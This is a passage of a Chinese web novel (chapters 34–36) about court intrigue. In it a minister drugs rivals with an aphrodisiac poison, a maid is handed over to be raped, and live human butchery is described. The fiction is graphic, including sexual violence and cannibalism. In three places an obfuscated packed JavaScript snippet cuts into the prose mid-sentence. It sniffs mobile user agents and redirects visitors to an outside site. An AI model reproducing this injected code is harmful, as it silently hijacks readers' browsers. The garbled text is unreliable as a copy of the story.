34 章 当前的事态大大超乎了周正的预料。 他知道赵臻性情坚刚,寻常美人计对他用不成,所以他才叮嘱了周韵仪的母亲、也是他的小妾桑氏去寻一些手段来。 桑氏出身风尘,当年也是靠着男女之间那点本事爬到了他身边,做了他的妾室。 桑氏年老色衰后,周正便对她失了兴趣,不过在周正心里,她不算全然无用,毕竟她运道好,生了周韵仪这样一个极美貌又极听话的女儿。 桑氏得了周正这道吩咐,欢欣鼓舞,她本就对周正有情,以为自己做好了这桩事,便能重得夫君宠爱。 周正正是拿准了这一点,所以才将这事放心地交给她。 桑氏做事确实用心,她寻来的这道媚毒并不是简单的入口之毒,是用一味西域香料搭配一样食材,才能于人体发挥效力。这食材名为水茴香,是一种湖泊之中的藻类,直接作为主菜烹饪味道会有些腥膻,但菜肴之中用一些作为辅料,能为菜品增色提鲜。 所以周正吩咐了红盏,给群臣准备菜肴时,要单独给两人加料,将他们的每道菜品都放入一些水茴香榨取的汁液。 这两人一是赵臻,一是越阳王高江。 周正以为自己思虑周全,他都要卖女儿了,自然要将女儿卖一个好价钱。周韵仪能攀上赵臻自然是好,但若赵臻侥幸撑过了药性,没能得手,那将周韵仪嫁给高江,以弥补当年他和周家因帝位而生的龃龉,也是很好的。 周正也想过事情败露的对策,就将红盏推出去便好,这小蹄子一家老小都在周家手上,她翻不起什么浪来。 周正同周韵仪说好,留心赵臻和高江的神情变化,发现不对,便选一人引到后宫,再由自己带人寻找,坐实情事,缔结婚约。 可他没想到这味媚毒这么狠,更没想到越阳王会这般的没有规矩,不懂自持。赵臻前脚离席,后脚高江就发了狂,随手抓起身边的宫婢就要临幸。若不是一旁的廷尉监张逑拦着,那宫女怕是要当庭受辱。 高江对宫女失了手,环顾四周,竟看向了御座上的太后。 高江早在十年前就觊觎过周怀淑的美貌,他此刻药性上脑,那还顾及什么君臣,一心想要纾解自己的□□,便冲上前去,将太后扯进了怀里。 周怀淑花容失色,当即哭嚎救命,周遭巡逻的禁军闻声赶到,意图捉拿高江。高江手下的死士也不是吃素的,拼死护主,两方人马就在宫宴上打斗起来,寒酥台大乱。 周正作为太后的父亲,此时不得不站在高江的对立面,指挥人马平息乱局。 周怀淑没什么值得心疼,但若当众失身,那高江无论如何都是死罪难逃,周家便会少了牵制赵臻的重要筹码。 …… 荒殿一旁,赵臻听周韵仪说完了寒酥台发生的一切,忍不住冷笑:“周正真是一点长进都没有,还是这么下作。” 奚瞳深以为然,她有些同情地看向周韵仪,这么漂亮的姑娘,还会跳舞,想寻个什么样的如意郎君寻不到,竟让亲生父亲戕害到这种地步。 赵臻冷眸望向周韵仪:“你给我解药,想换什么?” 周韵仪扬眉:“换你娶我。” 赵臻还未说什么,奚瞳的嘴倒是走在了前头:“这听上去好像不是交换哦,里外里都是我们赵臻吃亏。” 赵臻本来都对周韵仪起了杀心了,可奚瞳这句话,倒让他平静了些许,这话听着,有些舒坦。 周韵仪无语凝噎,她盯着奚瞳:“以我的容貌才学,太傅大人不算亏吧。” 奚瞳郑重摇头:“道理不是这样的,男女在一起,讲究的是一个两情相悦,周姑娘确实美丽,但赵臻对你没有感情。是吧?” 奚瞳转头问赵臻,才发现赵臻有些意味深长地看着她。 奚瞳心里打鼓:“难不成你……你有啊……” 赵臻第一次见她因他而慌乱,觉得有趣,他没有接奚瞳的话,转头问周韵仪:“娶你,然后呢?” 奚瞳听到赵臻此问,胸腔慢慢涌上一股涩意,让她整颗心都有些发沉。 “太傅大人放心,我图的不是太傅夫人的位子。我嫁给你,我父兄便会对我信任有加,这样一来,周家的许多事,他们不会瞒我。我也可以帮太傅大人,扳倒周家。” “你要扳倒周家?”赵臻笑:“你觉得我应该相信你吗?你可是周家的人。” 周韵仪自嘲:“呵,周家的人……放眼世间,哪有好人家的父亲,会让自己的女儿出卖身子,勾引男人,以换取自己的利益?十年前他就想将我送给先帝,周怀淑不甘平庸,替我顶了这遭祸事,我本以为能就此过上安稳日子,找个寻常郎君嫁了。可谁知道,十年后还是被明码标价,鱼肉一般放到案板上。让我勾引你也就算了,好歹你年轻,皮囊好看。可你看那高江,比我爹小不了几岁,一身肥肉,满脸油水,家中妻妾没有一百也有八十,我爹竟真的想让我去伺候这样一个人。” 周韵仪说着说着,双眸就生了泪。 她今年二十六岁,旁的女子在她这个年纪早已为人妻、为人母。可这十年,哪怕求亲的人踏破周家的门槛,周正也从未松口。 她仿佛生来,就是要被周正当做玩物献给权贵的。 这十年里,周正请了许多老师,有的教她读书识字,有的教她琴棋书画,更有甚者,教她……教她男女欢爱之术。 她多吃一口饭,就会有下人过来提醒她,女子最重要的是身子轻盈,若吃多了长肉,男人不会喜欢。她去外头赏花多玩一会儿,便会被周正责罚,说她是想去街上勾引男子,不知廉耻,她的脸有用处,可不是谁都能看的…… 两年前,高宇薨逝,他和周怀淑的孩子继承了帝位。 先帝殡体被浩荡的队伍送往帝陵,作为官员之女,周韵仪需和家中兄弟姐妹一起,出府跪送帝王棺椁。 那天,她看到了骑马走在队伍最前头的太傅赵臻——那个让周怀淑魂牵梦萦、也让周正惧怕不已的男子。 那一刻,周韵仪忽然就明白了,她在这世上,或许还有一个未曾相识的同盟。 也是从那一天开始,她对周正和周演极近谄媚,面这对卑鄙的父子,她展现出同样的卑鄙,来获取他们的信任。 她要一步步走到赵臻身边,她相信,赵臻可以成为她的救赎,她也可以成为他不可或缺的助力。 赵臻玩味地看着周韵仪:“你说你不图太傅夫人之位,那你图什么?” “图活命。图自由。图我母亲余生平安。”周韵仪恳切道:“当然了,嫁给你,做太傅夫人也没什么不好。荣华富贵不说,还能让周怀淑不高兴。” 奚瞳闻言,对周韵仪前半生的心疼盖过了所有情绪,方才心里若羡若妒的心思已经全然散去,她被周韵仪说服了。 她的手攀上赵臻的小臂:“周姑娘说的有道理,我觉得可以试试,感情嘛,可以培养。” 赵臻脸色又冷下来,培养你个头培养。 赵臻周身血气流畅不少,他缓缓起身,没有回应周韵仪的请求:“走吧,回寒酥台,瞧瞧热闹。” …… 赵臻几人赶到寒酥台时,众臣的席面皆已被掀翻,宫人们正收拾着。见赵臻来了,为首的前来行礼,说诸位大人在大朝晖殿。 赵臻点头,便朝大朝晖殿走去。 殿中越阳王的死士被五花大绑跪在地上,群臣凑在一起交头接耳,见赵臻来了,众人的喧哗停下来,一片寂静。 高澜率先问道:“你没事吧?” 高澜本是带了人寻找赵臻的,可找到一半有人来报,说越阳王意图对太后不轨,他只好赶了回来,此刻见了赵臻,他身上似有血迹,高澜不免关心。 赵臻摇摇头:“无事,多谢昭阳王关怀。” 周怀淑受了委屈,见了赵臻,眼泪差点就夺眶而出了,可一看到他身边的周韵仪,心头恨意翻起,她咬了咬嘴唇,终究是没说什么。 周正装作担心,问的却不是赵臻:“韵仪,你怎得和太傅大人在一起,可是出了什么事?” 当中暗示,不言而喻。 不等周韵仪回答,赵臻开了口:“确实出事了,本官中了媚毒,神智涣散。多亏门客奚瞳相伴,不至于做出失仪之事。” 一双双眼睛看向奚瞳。 奚瞳抿嘴,干笑相对。好好好,没错,是我。 “那周姑娘……”开口的是周正麾下的一个官员。 周韵仪这才有些为难地看了周正一眼,行礼道:“臣女一舞过后,有些内急。路上恰好遇到太傅大人,见他同奚公子在一起,似是难受,臣女身上恰有一枚醒神的香囊,便给了太傅大人。待 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13250392|132677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太傅大人毒性过了,才同他与奚公子一道回来的。” 众臣点头,周正面色却不好看,周韵仪这话,是没成的意思。 他眯了眯眼,看向周正身边那个门客,若不是这小子碍事,韵仪应当已经得手了。 奚瞳……他到底是谁,赵臻这样刻薄寡恩之人,怎得会如此信任他…… 赵臻装作无知无觉,问林载:“寒酥台究竟怎么了?我中毒离席也就罢了,怎得大家都不好好吃饭了?” 林载被越阳王那个老色批气个半死,这老登对太后上下其手不说,他的手下居然胆敢打伤他禁军的人,林载没好气将寒酥台的糟烂事说了一遍。 “越阳王人呢?”赵臻问。 “狂劲儿还没过去呢,押到偏殿了。”林载道。 赵臻点头:“看来越阳王同本官一样,是中毒了,想来今日之事,也不是他有意为之,找太医来给他瞧瞧。” “玄度!” 太后终于开了口,赵臻的意思是不追究越阳王了?那她呢?她难道白白当众受辱吗? 赵臻冷眼看向周怀淑,玄度二字,实在不是她该叫的。 周怀淑感受到赵臻目光里的寒气,含泪噤声。 赵臻又看向群臣:“今日本官同越阳王中毒,太后无端受辱,好好的中秋节,连累众卿都没好好吃饭。这毒怎么来的,要彻查。张逑,此事交给你廷尉监,如何?” 赵臻话音还没落下,周正便给红盏使了眼色,红盏登时痛哭流涕,抖若筛糠站了出来。 她跪到太后跟前:“太……太后,是……是奴婢。药是……是奴婢下的。奴婢该死!奴婢该死!请太后赐罪!” 周怀淑愕然起身:“红盏?你在说什么?你是本宫的人。你怎么会下毒?!” 红盏的脑袋磕到大殿石板上,血和泪在地上交融,化作一体:“是奴婢鬼迷心窍,是奴婢!是奴婢想攀附权贵,所以才……” “你胡说!”红盏说道此处,周怀淑便猜到了大概:“明明是周韵仪这个贱人……” “既如此!红盏谋害当朝亲王、朝廷命官,其罪当诛,拖出去砍了!”周正打断了周怀淑。 内侍正要拿人,赵臻却抬起手:“到底是太后身边的人,事关内庭,交由廷尉监有不便之 处,天色不早了,诸位先回府,红盏这丫头,我亲自审,明日定给诸位一个说法。” “赵臻!你私审犯人,这不合律法!”周正慌乱,出言反对。 “哦?!难道大司徒方才所为,就合律法吗?她因何下毒,受谁指使,手段如何,问都不问,就要斩杀?”赵臻的眸底闪过狠戾:“周大人,赵某今日,亲审此案,到底是给谁体面,你当真不知吗?!” 周正哑然。 群臣大致猜到,这案子应还是同党争有关,生怕两虎相杀,他们这帮蝼蚁遭殃,便纷纷退了出去。 周正无奈,也只好离开,临走时,他深深看了红盏一眼,红盏满面惊恐,抖得更加厉害。 周韵仪心中生出不安,她就这样同周正回去了,周正定是会觉得她办事不利,免不了责罚……赵臻到底在想什么……不是说好了要娶她?他这样毫无表示,是什么意思…… 正当她茫然之际,赵臻蓦然开口:“周姑娘,今日多谢你。我瞧你舞技卓群,我这小友奚瞳也想学跳舞,可否劳驾周姑娘前往赵某府上小住,教授小友几日?” “啊?我吗?” 奚瞳惊了,她今日是男装,她一个男的,学跳舞合适吗? 见赵臻眼色不善,她当即乖顺起来:“是了周姑娘,在下想学跳舞很久了。强身健体,活血化瘀。” 周韵仪嘴角抽搐:“……好。” 周韵仪转而离开,虽说奚瞳学舞这事荒唐,但她放心不少,赵臻不算失言,能进赵府,父亲总不会太为难她。 众人散去,大殿里只剩高座上的太后,跪着哭泣的红盏,还有赵臻奚瞳。 气氛寂静如死,唯有偏殿中传来的越阳王色欲熏天的嘶吼声,让红盏一阵一阵地战栗。 赵臻却没有审问她什么,他已然知道真相,红盏亦不过是个被敌手扔掉的棋子,有什么好审的。 “你的人,你自己做主。” 赵臻对周怀淑扔下这句话,带着奚瞳消失在夜色里。 35.第 35 章 人声鼎沸的大朝晖殿安静下来,无边的月色照进来,打到石板上,反射出寒凉的光。 红盏的啜泣伴着偏殿里高江的呻/吟嘶吼,在空旷的大殿里回响,显得分外阴森。 周怀淑还未发作,身为黄门侍郎的周潮带着两个太医从偏殿走出来。 太医一边下跪一边擦汗:“太后娘娘,越阳王身上这毒……这毒狠辣,微臣无能,解……解不了。” “解不了是什么意思?!”周怀淑怒斥。 “若无……若无人替越阳王纾解,他怕是……怕是会肾经尽废,血管爆裂而亡啊。”太医战战兢兢。 “那就让他死!”周怀淑的眼中尽是刻毒,方才这个死胖子对她上下其手,她恶心劲儿还没过呢,恨不得他血尽而亡才好。 周潮脸上荡起隐晦的笑意,周怀淑这副美人怀恨的模样,真是勾人。他对两个太医使了眼色,太医如获大赦,退了下去。 周潮上前一步,开了口:“太后娘娘,越阳王为何离京,您心里清楚。他如今是越地之主,在越地有兵权,且他子嗣众多,世子在当地又有威望。他若因为中了此等下作邪毒死在宫里,怕是不好交代。弄不好,是要危及社稷的。” 周怀淑怒气未消,看了周潮一眼,她心中愤愤,可理智是有的,周潮这话说得对,高江死在宫里,后头麻烦就多了。 她稳了稳心绪,对一旁的青璃道:“去内庭,找些犯了错的奴婢,送到偏殿,伺候越阳王。” “是。”青璃应声。 但青璃没走多远,便被周潮叫住:“且慢,此事不急,太医虽无力回天,但也给越阳王服了一些调气固血的汤药,他一时半刻死不了。太后当务之急,还是要查清楚,他和太傅大人,今夜为何中毒。” 周怀淑的目光看向红盏,红盏的肩头又颤了颤。 周潮又往前几步,走到周怀淑的身边,俯瞰着下跪的奴婢:“红盏,说吧。” 红盏跪爬到周怀淑身前,伸手抱住了她的小腿,哭着将如何下毒坦白道出。 周怀淑听了之后,不禁动怒:“你为何这样做?!你明知道父亲用这毒计,是为了让周韵仪嫁给玄度,你是我的心腹,明知道玄度与我是何等情谊,你为何要帮他们?!” “不是的娘娘,奴婢对您没有二心。”红盏涕泗横流:“可是奴婢没有办法,奴婢的父母兄弟都在老爷手里啊娘娘,奴婢没有办法。” 红盏是自幼就在周怀淑身边的,周怀淑对她有些情分,听闻此言,虽仍生气,但到底存有几分心软。 她正犹豫着如何处置红盏,周潮的喉头却发出桀桀冷笑:“红盏,这话不老实,我再给你一个机会。” 周怀淑疑惑地看向周潮,恸哭之中的红盏表情也透出一丝惶恐不安。 周潮接着说道:“你本是良民,只是家中贫寒,你幼时天灾频发,你家中生计遇了难题。你父母为了养活你哥哥弟弟,将你卖给了周家,而且之后多年,他们频频伸手问你要钱。你因此不忿,本就与家人情谊淡薄。若退一步,你当真是因此受制,大可求助太后娘娘,太后虽与父亲有些分歧,但到底是当朝太后,周家嫡女,想护你家人周全,绝非难事。你明明可以不入此局,但你还是做了,红盏,为什么呢?” 红盏还想狡辩:“不是的,奴婢……” “红盏。”周潮没有给她机会:“我既如此问,便是知道当中缘由。实话从你嘴里说出来,和从我嘴里说出来,后果是不一样的,你明白吗?” 红盏闻言,瞳孔震了震,原本抱着周怀淑双腿的双手颓然放了下来。 “说罢,不要浪费太后和本官的时间。”周潮的脸冷下来:“说出来,或许太后会饶你一命。” “啊!!!给我!!!救我!!!啊啊啊给我!!!!”偏殿里高江的吼声一阵又一阵,像是饿久了的野兽。 红盏绝望地闭上眼睛,眼泪从两眼滂沱流出,再睁开时,她抬头看着周怀淑:“老爷说,只要我做成了这桩事,就让我……就让我给太傅大人做……做妾……” 周怀淑听闻此言,脑中如惊雷裂地,生出滔天之怒,她一脚踹到红盏身上:“贱人!你是什么东西,也敢肖想玄度!” 红盏泣不成声,她爬回到周怀淑脚边,彻底袒露了心境:“小姐,奴婢错了,奴婢确实有私心。可是奴婢,奴婢也是真心为了您啊。奴婢想着,与其让二小姐在太傅大人身边,离间您和太傅,也离间您和老爷,陷您于孤立无援之地,倒不如奴婢去伺候太傅大人,奴婢起码不会害您啊小姐。” “一派胡言!”周怀淑却再也不信:“说!你从什么时候对玄度生了狐媚之心?!说!” 周潮的声音幽幽响起:“事到如今,再知道这些有什么用呢?太后打算如何处置红盏?” “小姐!”红盏一个劲儿给周怀淑磕头:“奴婢错了,奴婢不该心生贪念。可奴婢真的没有想过背叛您啊小姐,奴婢从四岁就陪在您身边了小姐,求您再给奴婢一次机会。” 周怀淑因为生气手脚冰凉,却没有立时处死红盏的意思,只默然着,任由红盏磕头哭求。 “长姐啊,你还是太过心软了。”周潮的嘴角浮起讥笑:“你如今站在高处,时时都有失足的可能,一旦跌落,您同陛下皆是粉身碎骨。这般优柔寡断,你让弟弟如何放心啊。红盏如此背主,觊觎你的心上人,你居然还想给她留情面?” 红盏拼命摇头,周怀淑却因周潮这几句话,暗中开始生出盘算。 周潮看出周怀淑的动摇,凑近她一些,声音轻佻如夜鬼:“这小贱人说她做了赵臻的妾室,也会一心向着你,你自己想想,她这话能信吗?将来她若和赵臻有了子嗣呢?而且她也有些姿色,万一赵臻对她日久生情,真的爱上她了呢?她还会记得你吗?而赵臻,又会念着你吗?” “不会的!”红盏的额头早就洇出片片鲜血:“不是小少爷说的那样,奴婢不会的……不会的……” 可无论红盏说些什么,周怀淑皆已听不进去,她心中的恶念已经全然被周潮召唤出来,美艳的脸上尽是阴鸷。 就在此时,偏殿再次传出高江的嘶吼:“给我!我要女人!!!给我啊啊啊啊!!!!” 周怀淑突然就笑了,她抬手打了个响指,几个阉人从外头走了进来。 她狞笑着看着红盏:“你放心,本宫不杀你,本宫与你主仆多年,自然要为你考虑。越阳王,也是好归宿啊。这毒是你下的,不妨就让你去解吧。来人,越阳王已经久等了,将红盏带过去,同他共度良宵!” “不!太后娘娘!奴婢错了,奴婢知错了!奴婢真的知错了!” “太后娘娘!”青璃也跪下求情:“红盏只是一时糊涂,求娘娘看在她伺候您多年的份儿上,饶她这一回吧。” “你若心疼她,本宫不介意将你一起送过去。”周怀淑冷声道:“红盏啊,这样一来,不久之后你就要嫁入越阳王府了,也算大富大贵。如果……你还能活着的话。” 红盏被阉人拖向偏殿,一开始她还不停呼喊着“奴婢错了,求太后饶命”,到了最后,她喊的话就变成了“太后您杀了我吧!奴婢但求一死啊!求您杀了我!周怀淑!你杀了我!杀了我啊!” 可最终,她的呼喊到了偏殿,再也没有了完整的话语,只剩下痛苦恐惧和强迫之下不得已生出的欲念相互交织而成的无尽呜咽。 破碎、可怖。 周潮对这个结果很满意,他躬身行礼:“天色已晚,微臣告退,娘娘早些休息。” “周潮!”疯狂的泄愤过后,周怀淑的心口仿佛空了一大块,她觉得那里一阵阵吹着冷风,冷得她发抖:“你说过,你会帮我,对吧。” 周潮此时低着头,脸上露出满意的笑容,再抬起时,他一双眼睛恳切地望向周怀淑:“当然。潮儿自幼仰慕长姐,定会一直一直陪着长姐、帮助长姐的。” 周怀淑似是得到了微末的安慰,有些茫然的脸上出现了短暂的镇定,她点头:“你退下吧。” 周潮大步离开,宫道之上,他抬头望月,他不禁昂首大笑。 他的人生,还是头一回过这么圆满的中秋节。 周怀淑,早晚有一天,你会知道,你身边空无一人,唯我周潮值得依靠,你会驯服地仰视我,依赖我,迷恋我。 你我皆是被遗弃的野狗,唯有永恒地□□在一起,才有温暖,才是真正的团 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他听得到他们周围的风声、琴声、说话声,甚至可以听到奚瞳那枚铃兰发簪被风摇曳之后发出的声响。 人在梦魇中的五感,竟能那般细腻吗…… 奚瞳的声音又在他脑子里响起来:“我是长秦人。” 长秦……长秦…… …… 寒酥台夜宴出了乱子,休朝五日。 宫外的官眷们都在等宫里的消息,越阳王是死是活都还不知道,若他就此殒命,越地定要出乱子,大盈的江山怕是要摇动一番。 可宫里头的人却都在看热闹。 大朝晖殿偏殿的大门紧闭,里头一男一女的声音断断续续。 一波又一波的宫人驻足聆听,被掌事的发现了,便红着一张脸作鸟兽散。 声音断断续续了整整两天才停息。 又过三天,在太医的陪同下,越阳王安然无虞从里头走了出来。 他身后跟着的,是被折磨得几乎失了人形的红盏,她衣衫褴褛,肩上只留半个披肩,一件小衣,裙裾的布料也叫人撕碎了,她必须双手环抱自己,否则衣服就会滑落,泄露一地春光。 她额头一片干涸的血迹,裸露的颈子、锁骨、胳膊和小腿上,尽是欢好的青紫淤痕。 她似是体力不支,步履很是蹒跚,没走几步就踉跄摔倒。 高江回了头不耐烦看了她一眼:“想撒娇,也得看自己的身份。本王知道你这几日辛苦,但这份辛苦也全是你自找的。你若能跟着本王走回越王府,本王可以让你做个媵妾。但若你走不过去,路上若是谁想捡了你这身皮肉,本王也不会管。” 红盏面目如死,唯目光炯炯,她双手撑地,艰难站起,紧紧跟在高江身后。 “哼。”高江鄙夷一笑:“你该谢你父母,赏你几分好颜色。否则,本王绝不会留你性命。” 红盏的双眼萌生出含恨的泪光,她一字一句道:“是。奴婢谨记。奴婢生是您的人,死是您的鬼。” 36.第 36 章 中秋过后,一日凉过一日,街上叶枯枝落,日渐萧索,唯有赵宅,菊花迎来好时节,满院金黄开遍。 院中小潭里锦鲤嬉戏,旁边亭子里,几人围坐,饮茶赏花。 不一会儿,林载带了一个女子进来,奚瞳打量她,丹凤眼,小山眉,依稀与林载有几分相似,是极英气的一个女子。只不过美人似是兴致不高,面色冷冷的。 “哟,这位是……”张逑先露了笑脸。 “家中小妹,骄纵惯了。”林载解释:“啧,还不叫人。” 林棠不情不愿行了个礼:“见过诸位。” 说完才又直视赵臻,脸上的神色有些别扭,但又多了几分温柔:“别来无恙,兄长。” 赵臻微笑颔首:“棠棠长高不少,剑道艰辛,这些年想必辛苦,回家就好。” “嗯……嗯。” 奚瞳正在吃柿饼,突然就觉得不那么香了。 兄长……棠棠……赵臻原也是会跟女孩子好好说话的…… 奚瞳还没来得及消化心中的不舒服,林棠蓦地朝她看过来,带了些审视的味道,许久没有收回视线。 奚瞳不明所以,只好拿起一个柿饼,递给林棠:“吃吗,刚晒好的,很甜。” 林棠蹙眉,赵臻垂首,唇畔扬起笑意。 林载知道自己妹妹在想什么,十年前赵家出事,赵臻回京后,除了林家都对他避之唯恐不及。后来他讨得先帝欢心,入朝为官,一步步走到太傅的位置,朝中的人态度就又变了,拼了命地给他身边塞女人。 赵臻起初权力没那么大的时候,还愿意同这些人虚与委蛇一番,也因此招了不少祸事。那些女子里确有一些是图他的权色,但更有人是世家养出的杀手,他们怕他得势清算往事,要的是他的性命。 林棠离京学艺虽已五年,但光她知道的刺客女谍就数以十计。她如何能对奚瞳这小丫头放下戒心。 林载出言解释:“这是奚瞳,是赵臻的……” 他顿住了,先前同别人介绍奚瞳,他说的都是这是赵臻的心肝,可说与自己的妹妹,他总开不了这个口。 今日林棠来,是父亲的意思,林家诸位长辈想将棠棠嫁给赵臻,林载是不赞同的,但他拿不准在林棠心里,赵臻是个什么位置。自幼长大的情谊本就深厚,遑论赵臻还长了那样一副勾魂摄魄的皮囊…… “你好。”倒是奚瞳自我介绍起来:“我是赵臻的门客。” 林棠一听,展眉讽笑,这小丫头竟敢直呼兄长姓名:“倒是新鲜,你是门客?不是奴婢?” 这话就有些剑拔弩张了,奚瞳却很坦荡:“确是门客,但是寄人篱下,也兼做一些奴婢的活儿,你可以理解为能者多劳。” 众人暗暗感叹,奚瞳,的确是精通一些说话的艺术,明明一个脏字都没有,但是真让人堵挺啊…… 林棠果真弱了气焰,悻悻接过柿饼,坐了下来。 苏木说起正事:“明日就上朝了,听说这两天越阳王闹得起劲呢,要朝廷给他个说法。” 陆忧冷笑:“这事儿是周家一手炮制,高江不问周正要说法,问朝廷要,真有意思。” 苏木有些担忧:“朝廷给说法,无非就是法办罪魁,外加赏赐安抚。周潮说下毒的红盏已经被赏给了高江,这几天被折磨得不成人形,留了一条命,现已经是越阳王府的低阶媵妾。看高江的意思,他也没打算再追究周家旁人,那接下来就是赏赐。可是高江执掌越地,手握兵权,再赏赐还能赏什么,赏他金银珠宝?他稀罕吗?” 赵臻啜一口茶:“去年越地以北,辰国的一个小部落截杀大盈商旅,是高江去料理的。他觉得自己立的是军功,想要朝廷给他封侯来着。” 林载记起来,是有那么一桩事:“但当时不是驳了他了吗?王位之上,再添侯爵,哪里有过这种先例,他想得挺美。” “给他吧。”赵臻轻描淡写。 “给他?”林载睁大了眼睛:“你要给越阳王封侯?赵臻,开了这个先河,世家的爵位越来越多,权力越来越大,可就不好收拾了。” 赵臻不疾不徐:“给是给,但也要条件。” “什么条件?” “王位和爵位,不能由同一人继承。” 众人有些反应不过来:“这是何意。不让世子继承,那让谁继承。” 赵臻的眼睛里生了些疲倦,奚瞳不由感叹,赵臻这样一个自闭青年,每天要花这么多口舌给手底下的人解释自己的思路,也是很不容易。 于是她放下柿饼,擦了擦手:“让谁继承,那就不是咱们需要操心的事了。” 众人的视线来到奚瞳身上,赵臻也有些意味深长地看向她。 奚瞳解释:“自古以来,王位爵位都由嫡长子继承,为了维护嫡长的礼法正道,从未有过一门双爵的情况。如今越阳王府要再添侯爵尊位,若还如之前一般,其权力皆由世子继承,就会如诸位所说,诸侯世家日渐势大,社稷终会倾覆。那么如果放弃嫡长继承制呢?让庶子也有继承爵位的资格,这样不就好了?” 众人还是有些茫然。 奚瞳绝望了:“听闻越阳王子嗣众多。” 陆忧豁然开朗:“所以,若庶子有了继承权,必然会多人相争,从而引发其家族内斗,甚至庶子会因为手中有了爵位,挑衅嫡子,久而久之,门楣必然崩颓。诸侯如此,世家亦如此。” 奚瞳满意点头:“大家族里的庶子庶女日子艰难,这样一来,他们也会感激赵臻。将来赵臻换了身份,他们也会成为赵臻在世家当中的助力。” 众人先是点头,继而便有些自惭形秽起来,他们之中,有人入仕多年,有人是世家多年培养,可竟都不如眼前一个小丫头通透。 赵臻倒是面色好看许多,给奚瞳倒了一杯菊花茶:“今日你吃甜食太多,喝些菊花茶,免得上火。” “哦。”奚瞳乖顺应道。 大伙儿立时就被赵臻这个动作惊呆了,要知道,当年赵臻为了活命讨好先帝时都没给他斟过茶,斟的都是“大补”的药。林棠更是内心震荡,紧咬下唇。 “还有一桩事。”张逑道:“三个月前,廷尉府接到了三贤郡呈报的一桩案子,我命人前去暗访,极其惨烈,很是棘手。” 张逑接下来的话,让奚瞳把吃进去的三个柿饼都吐了出来。 三贤郡是京城治下的一方土地,但距离京城有些距离。这处地方素来不好管理,因其属于京城,却又不在京城,所以成了许多京中世家经营不法营生的不二之选。 马场、赌场、妓院……诸如此类,在三贤郡比比皆是。 因为势力盘根错节,只要它不祸及其他州府,朝廷一向是睁一只眼闭一只眼。三贤郡的郡守和其他郡守的职责也不一样,旁的郡守要维护州府治安,治理州府农商等等,考验的是处理政事的能力。但三贤郡郡守的任务,是平衡各个产业背后世家的势力,考验的是为人处世是否聪明。 故而近些年来,三贤郡即便有要事呈报,也基本都是难以处理的世家纷争,而且多是直接递到太傅府,此番呈到廷尉,是因为出了人命案子。 十年前,掌管国库银钱的大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13283545|132677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 司徒赵燊获罪,大司徒之位由周正继任。 周正为人贪婪,常行贪腐之事,权力交接之际又容易生事,大盈财政因此一片混乱。正值此时,大盈迎来了三年天灾,洪涝、干旱、冰雹、大雪,一茬接着一茬,百姓生计艰难,开始还有树根树皮可啃,到了后头,许多州府竟呈现易子而食的惨相。 三年天灾好不容易熬过去,又因为死人太多生了疫病。彼时先帝高宇沉迷酒色,妄想长生;京中世家忘不了赵家一夜之间九族皆死的惨祸,都不敢出头;赵臻虽已入仕,但只是四品官员,权力不大,无奈之下,他只能传书师门,天机山道宗白鹭山人联合九大门派,下山济民。 整整两年,才堪堪平定了乱局。 “这些事,与三贤郡有何关系?”奚瞳不解。 张逑叹息:“此次三贤郡的这桩案子,是因为菜人。” “什么是菜人?” “以人做菜,是为菜人。” 奚瞳知道这绝非好词,可她也不曾想过,所谓菜人,竟是这般惨烈。 灾害和疫病过去了,百姓的生活却并没有更好,庄稼需要漫长的时间进行翻新耕种,人们手里没有钱,商市便也低迷,盗贼横行,饿殍仍在,贫穷和饥饿的阴云仍厚厚一团,浮在上空。在那些苦厄的岁月里,人们尝过了同类的血肉,如今虽已安稳许多,但日子过得仍旧万分艰难,于是有些人便生了歹念,想着把同类做成生意。 菜人坊应运而生。 有人家里实在揭不开锅了,就选一个女人或者孩子卖到菜人坊,他们被吊到梁上,屠夫像割猪宰牛一般对待他们,将他们的骨肉割下来,卖给想吃的人做吃食。 其中年轻女子和孩童最受欢迎,年轻女子油脂清香,肉质细腻,叫“不羡羊”;孩童炖煮过后,肉软骨酥,入口即化,叫“和骨烂”。 而他们与猪牛的不同是,猪牛是先宰杀,后取肉,而他们骨肉离身的时候,还活着。 奚瞳听到这里再也忍不住,她起身扶着亭子的梁柱,呕吐起来,赵臻走到他身边,轻轻拍她的背。 好不容易吐干净了,奚瞳惨白着一张脸,满眼愤恨:“世间怎会有这种烂人烂事?!” “老赵做了太傅之后,下令彻查所有州府,将菜人坊尽数查封,严惩了店主。这几年本已安生了。”张逑道:“可三贤郡呈上来的这桩案子,说是有个叫‘烹小鲜’的酒楼,似乎暗中做着菜人的生意。我手下的探子回报,确实如此,而且都是世家之人好奇菜人的味道,才将这腌臜生意一步步捧起来了。这生意挣钱,还能借此处理一些得罪了世家的人,于是各方利益渗透,牵连甚广。” “牵连甚广,是多广?”赵臻冷眸问道。 